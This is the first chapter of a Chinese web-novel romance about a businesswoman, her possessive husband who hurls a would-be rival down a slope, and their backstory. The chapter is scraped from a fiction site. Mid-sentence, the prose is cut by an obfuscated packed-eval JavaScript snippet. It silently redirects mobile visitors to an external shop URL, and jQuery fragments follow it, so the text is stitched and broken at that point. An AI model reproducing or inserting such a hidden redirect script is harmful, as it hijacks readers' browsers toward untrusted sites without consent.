文趣网 > 都市小说 > 和老实人丈夫结婚第三年 > 1. 第 1 章
    《和老实人丈夫结婚第三年》

    文/祝寻路

    2026/05/07

    -

    陈妤正阖眼听秘书汇报明天的行程安排,手机传来专属的微信提示音。

    她点开,漆黑眼底微泛涟漪。

    “有点凉。”

    纤长妍嫩的手指切换到朋友圈,那是宗英宴的一段出浴仰拍视频。

    昏暗光影中,浴袍松松散散系着,一路敞开到小腹,银色碎钻胸链凌乱挂在线条遒劲的肌肉群,滚动的水珠滑落至小腹处勃发的青幽色青筋,呼吸间带起强烈的血管搏动力量感。

    陈妤手指缓缓摩挲着视频中的人,真不愧是她一眼看中的人,这脸,这身材,满乌市都找不出比他更出挑的。

    退出去时,她点赞了那条朋友圈。

    作为妻子,陈妤不可避免对丈夫的身体享受独占欲,容不得旁人窥伺惦念一丝一毫。

    但宗英宴的微信联络人唯有她一个,那条朋友圈也只有她一个人可以看到。

    在陈妤忙碌的更多时候,宗英宴不会过多打扰她,只会通过更新朋友圈内容留下想说的话。

    她至今觉得匪夷所思,宗英宴那样的人,明明老实,寡言,貌美,爱哭,这这方面却是大胆直白的可怕,尤其喜欢在不那么私密的场合肆意袒露对她的思念和渴求。

    但不可否认,陈妤很喜欢宗英宴为她花的小心思。

    “把明天上午的时间空出来。”

    起初两人婚后那段时间,陈妤曾让宗英宴在公司担任闲职,或是给他另外开设公司,维持住男人基本的社交圈子。但每次宗英宴都会委屈又可怜跟她哭诉外面的人欺负他,不喜欢他。

    渐渐地,宗英宴就不爱出门了。

    丈夫的生活里只有她一个人,陈妤别无他法,只能多疼他一点。

    凡妮莎是公司里的老人,在陈妤刚接管分公司的时候就被陈总派过来辅助她。

    “明天约了和朗星天宸的人上来谈合作项目,推了怕是会被明晴先一步截胡。”凡妮莎面无表情,言辞间都是不认同:“小陈总这把拼劲儿比起当年老陈总可是差远了,哪怕是和你大哥陈总也有很长一段距离,是有什么要紧事要推了这次会议吗,我需要和老陈总请示一下。”

    陈妤最烦凡妮莎就是这一点,仗着是公司里三朝元老,又和陈家沾了点亲戚,屡次三番拿老头子压她。

    要不是看在她多年为公司卖命的份上,陈妤早就让人滚蛋了。

    “我要和宗英宴折腾一晚上,明天起不来,明白?还有,”陈妤凤眼上扬,冷冽又极带压迫感朝凡妮莎看去,“少拿我父亲压我,凡妮莎女士怕是年纪大了容易忘事,关于我不孝女的事迹早已名声在外,你这招不是往我和老头子的血缘关系上火上浇油吗?趁我现在脾性好,劝你见好就收。”

    “是,小陈总。”

    凡妮莎额上沁出冷汗,许是陈妤接管公司这几年来表现得太像个合格的继承人,让她几乎忘了眼前年轻的小陈总可是10岁就敢火烧陈家祠堂祖宗牌位的人。

    富贵窝锦绣堆里养出来的大小姐,不可避免养得一身坏脾气,哪里容得下她倚老卖老,随意置喙。

    陈妤和宗英宴的婚房建在半山腰,正对着七桂山脉,长江支流穿梭而过,真真正正依山傍水的福地。

    乌市的气候并不稳定,方才还是艳阳高照,不过须臾,黑云几乎压垮天际,深秋时分的微雨带着入骨凉意,淅淅沥沥打在玻璃窗上。

    到了地方,后座车门被人打开,黑色长柄伞罩在上方,短暂隔绝了雨幕。

    陈妤高跟鞋刚踩上雕花石砖,鼻尖陡然闻到一股和宗英宴身上像了六七分的味道。

    “小陈总,下雨小心路滑。”

    柔和温柔的男声,细听似乎有些南方的语调。

    陈妤这才发现司机不知什么时候换了人,打理得极为整齐的头发下额头饱满,极为年轻,精致俊秀的一张脸。

    脑海里搜寻一番,才想起几个月前人事那边说用习惯的司机其中一人退休,投递的简历里有个出身航空学院的应届男大,外在,技术都过硬,特意调给她开车。

    视线下移,梭巡过他被细雨打湿的半边肩膀和胸膛,那件衬衫不知什么料子做的,湿透的布料紧贴肌肉线条,若隐若现。

    啧啧,真是狼狈又可怜的一只小狗。

    陈妤目光挑剔又放肆,似乎在打量一件廉价商品,上位者的傲慢尽显。

    “你姓什么?”

    “姓谢。”

    那人几乎是虔诚的奉献上自己的姓氏,握住伞柄的手指用力到发抖。

    是个好姓氏。

    可惜了。

    陈妤厌倦收回视线。

    “你跟我来。”

    凡妮莎静静看着这一幕,并未言语。

    她刚触了小陈总的虎须,此刻有人帮她分担怒火简直求之不得。

    更何况,有些捷径并不是那么好走,毕竟小陈总身后那人可是条疯狗,护食得很,妄想在他眼皮底下夺食,无异于找死。

    小谢紧紧跟在陈妤身后,生怕落后一步,那扇大门从此不再向他敞开。

    公司传闻小陈总的丈夫原本也不过是个梨园唱戏曲的,凭借着一张好脸才鲤鱼跃龙门,他不贪,只求分一杯羹。

    两人的婚房,陈妤向来不喜欢有过多人踏足,她略略向后一瞥,含笑的眼生生让小谢脚步踩了急刹。

    “在这等着。”

    “是。”

    门后的人似乎听到动静,牡丹镂空雕刻的门把手缓慢转动。

    那人尚未走出,陈妤却是等不及挤进去,将两条手臂挂在男人脖子,埋在他怀里笑得花枝乱颤,全然将身后的人视若无物。

    两人交颈呢喃,男人转眸的间隙,小谢终于看清传闻中小陈总丈夫的脸。

    那是一张极美的脸,美得尖锐刺骨,近乎鬼魅,眼角眉梢惑人,冲破皮肉,骨头,直击灵魂,纵使被贴上‘吃软饭’的标签,却跟‘软’‘弱’这些字没有丝毫干系。

    脸部轮廓锋锐,攻击性十足,腿特别长,肩背阔直,哪怕是西方人里都少有的高大身形。

    似是小陈总在他耳边说了什么,男人也抬眸瞥来,漆黑的眼瞳反折森然冷光,那眼神毫无温度,跟看死人如出一辙。

    小谢后脊骨骤然升起一股凉意,心脏仿佛受到用力挤压,每一下跳动都极为费力艰难。

    最恐怖的是,小陈总进去了,留下他和她的丈夫对峙。

    宗英宴将身后的门关上,啪嗒的一声响动像是打破什么禁锢。他站在台阶上,偏头看小谢,语气淡的没有丝毫起伏:“你在觊觎我的妻子。”

    陈述的语气。

    小谢眉心猛的一跳,被看穿了反倒不遮掩,目光忮忌看着宗英宴的脸,“你可以,我凭什么不行?”

    宗英宴不是圣人,他对陈妤有着病态的占有欲,他的喜怒悲欢全系在她一个人身上,绝对不允许有旁人窥伺她星点半点。

    宗英宴步步逼近,贴靠小谢脸上,极尽奚落嫌弃的目光自上而下扫视他若隐若现的线条,“凭你?也配!”

    小谢脸色涨红,刚有动作,就被宗英宴单手扼住强制翻了个面,不知对方在他脊骨上按了什么位置,酥麻酸爽陡然席卷全身,竟是动弹不得。

    “你干,干什么,别乱来!”

    宗英宴并未言语,他急于去啃食享受和陈妤在一起的每一分每一秒,这些碍眼的臭虫不值得他浪费时间。

    他居高临下瞥了眼,似是嫌脏了手,拿手帕隔着,单手揪起小谢的皮带就这么轻飘飘的将人提离地面。

    疾风骤起,梧桐枝叶簌簌作响,也带来那股相似的味道。

    宗英宴眼神陡然一寒,站在斜坡前,松手,一如以往每次处理垃圾。

    那团垃圾滚过雨后泥泞的山路,他想,这样大概就能遮住

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586446|205290||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    身上的骚味了。

    坐在车内的凡妮莎远远就听见小谢惊慌的叫喊,还没来得及下车,一声巨响,车身猛的晃动一下。

    小谢浑身脏污倒在车轮下,额头撞出个青紫大包,双眼紧闭,已然昏死过去。

    再看山坡上那人,眼神阴冷,似是随时张开獠牙生扑过来。

    “再让这些垃圾靠近她,你也别干了。”

    宗英宴扔完垃圾回来,书房并不见陈妤的身影。他一步步寻找,终于听见浴室传来的水声。

    还有台面上那枚褪下来的婚戒。

    啧,还真是不听话呢。

    陈妤带着湿润的水汽出来时,熟悉的人并没有迎上前来。

    她扫视一圈,只见男人独自静坐阳台,佝偻着背,模样落寞。

    “怎么坐在这?”

    走近了,才发现他手里捏着婚戒。

    原来在这,怪不得找不到。

    宗英宴抬起头,她才注意到他眼尾的洇红,似是哭过。

    陈妤俯身,手指摸上他的脸,温声询问:“怎么了?”

    宗英宴视线小心翼翼落在她脸上,举起那枚戒指,声音闷闷地:“你也觉得外面那些男人好是不是,你就是嫌弃我没用,嫌弃我人老珠黄不好看。”

    这番话听得陈妤眼眶发酸,愧疚得要命,反思自己拿外面那些烂桃花逼宗英宴支楞起来是不是过分了。

    他这样寡言沉闷的性子,初时得知婚后还有人追求她时,只会黯然神伤,独自落泪,是自己一步步拔苗助长,强行逼着他仗她的势去驱赶那些人,是她过于招蜂引蝶,真是难为他了。

    “是我的错。”

    她想,下次还是让那些人直接消失好了,免得脏了宗英宴的手,还平白惹他不高兴。

    陈妤想弯腰吻他,奈何宗英宴生着气,直接站起身来,身高的天然压制,她只能攀上他的肩膀,踮脚吻上来。

    等终于贴上那张温热的唇瓣,宗英宴却耍了小脾气,直起腰。

    陈妤只能追上去,将脚尖绷得更紧。

    等她累的不行,想放弃时,男人温热有力的手掌贴上腰肢,托起,拉近。

    两具身体骤然贴紧,不留一丝缝隙。

    宗英宴似是不气了,双手捧着她的脸,急切深入啃食。

    分开时,黏腻湿润的银丝将断未断。

    他埋在她胸前,抬睫,模样可怜又破碎,陈妤思绪莫名飘回两人阴差阳错事后那一夜,宗英宴也是如此。

    三年前,家中长辈过寿在梨园过寿,陈妤向来是不爱听这些咿咿呀呀的曲儿,找了个借口四处闲逛。

    碰巧瞧见了戏台上白绸飘动下男人那张脸,面容稠艳,深邃漆黑的眼雾气弥漫,破碎惹人怜。后来她又几次三番撞上他被有些富贵权势的太太小姐纠缠逼迫,索性将他带回来。

    刚开始陈妤并没有什么想法,只拿他当个漂亮花瓶摆放,只等哪天腻味了再让他离开。

    到了陈妤提议他可以离开那一夜,宗英宴拿来一瓶酒开心邀她同饮。他没钱,酒买的便宜,后劲儿却大的很。

    宿醉醒后,她摸着赤裸躺在旁边的宗英宴,只能认命。

    刚开始,她只图个新鲜。

    渐渐地,她觉得每天忙完工作回来有个男人随她折腾也不错。

    两人的婚姻就这么稀里糊涂开始了。

    宗英宴埋入她的颈窝,用力汲取那股气息,“今晚熬个夜吧。”

    陈妤应允:“好。”

    结束时,将近天明。

    陈妤累的瘫在床上,朦朦胧胧感觉手指被套上个物件儿。

    她倦怠睁开眼,是婚戒。

    宗英宴又缠上来,咬着她的耳朵低语:“你知道的,我从小就没人疼,你要多疼我一点。”

    陈妤又想起他可怜的身世,心疼坏了。

    “好。”

    毕竟他那样惨,她应该对他好一点,再好一点。